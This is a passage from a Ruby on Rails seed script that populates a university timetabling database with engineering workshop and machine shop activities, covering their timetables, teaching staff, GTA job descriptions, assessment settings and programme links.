maps)\n act\n else\n maps.reduce(act) { |acc, elem| elem.call(acc) }\n end\n end\n end", "def make_all_activities\n\n a2 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EAWORK1\", archived: false, in_drive: false, user_id: 5)\n at2 = ActivityTimetable.where(activity_id: a2.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a2.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a2.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a2.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a2.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a2.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a3 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 4)\n at3 = ActivityTimetable.where(activity_id: a3.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a3.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a3.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a3.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a3.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a3.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a4 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 2)\n at4 = ActivityTimetable.where(activity_id: a4.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a4.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a4.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a4.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a4.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a4.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a5 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 2)\n at5 = ActivityTimetable.where(activity_id: a5.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a5.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a5.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a5.id).first_or_create!(assess_weight: nil, notes: \"Assessed in MEC130\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a5.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a5.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a6 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 5)\n at6 = ActivityTimetable.where(activity_id: a6.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a6.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a6.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a6.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a6.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a6.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a7 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 3)\n at7 = ActivityTimetable.where(activity_id: a7.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a7.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a7.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a7.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a7.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a7.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a8 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 1)\n at8 = ActivityTimetable.where(activity_id: a8.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a8.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a8.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a8.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a8.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a8.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a9 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 3)\n at9 = ActivityTimetable.where(activity_id: a9.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a9.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a9.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a9.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a9.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a9.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a10 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 5)\n at10 = ActivityTimetable.where(activity_id: a10.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a10.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a10.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a10.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a10.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a10.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a11 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 1)\n at11 = ActivityTimetable.where(activity_id: a11.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a11.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a11.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a11.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a11.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a11.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a12 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 1)\n at12 = ActivityTimetable.where(activity_id: a12.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a12.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a12.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a12.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a12.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a12.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a13 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at13 = ActivityTimetable.where(activity_id: a13.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a13.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a13.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a13.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a13.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a13.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a14 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at14 = ActivityTimetable.where(activity_id: a14.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a14.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a14.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a14.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a14.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a14.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a15 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA GYRO\", archived: true, in_drive: false, user_id: 5)\n at15 = ActivityTimetable.where(activity_id: a15.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a15.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a15.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a15.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a15.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a15.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a16 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100c\").first_or_create!(name: \"Engineering Applications Workshop 3\",\n name_abrv: \"EAWORK3\", archived: false, in_drive: false, user_id: 4)\n at16 = ActivityTimetable.where(activity_id: a16.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a16.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a16.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a16.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a16.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a16.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a17 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: false, user_id: 5)\n at17 = ActivityTimetable.where(activity_id: a17.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a17.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a17.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a17.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a17.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a17.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a18 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 3)\n at18 = ActivityTimetable.where(activity_id: a18.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a18.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a18.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a18.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a18.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a18.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a19 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 4)\n at19 = ActivityTimetable.where(activity_id: a19.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a19.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a19.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a19.id).first_or_create!(assess_weight: 12.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a19.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a19.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a20 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 4)\n at20 = ActivityTimetable.where(activity_id: a20.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a20.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a20.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a20.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a20.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a20.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a21 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100d\").first_or_create!(name: \"Engineering Applications Workshop 4\",\n name_abrv: \"EAWORK4\", archived: false, in_drive: true, user_id: 2)\n at21 = ActivityTimetable.where(activity_id: a21.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a21.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a21.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a21.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a21.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a21.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a22 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100e\").first_or_create!(name: \"Engineering Applications Machine Shop 1\",\n name_abrv: \"EAMACH1\", archived: false, in_drive: true, user_id: 1)\n at22 = ActivityTimetable.where(activity_id: a22.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: $room_ms.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a22.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a22.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n 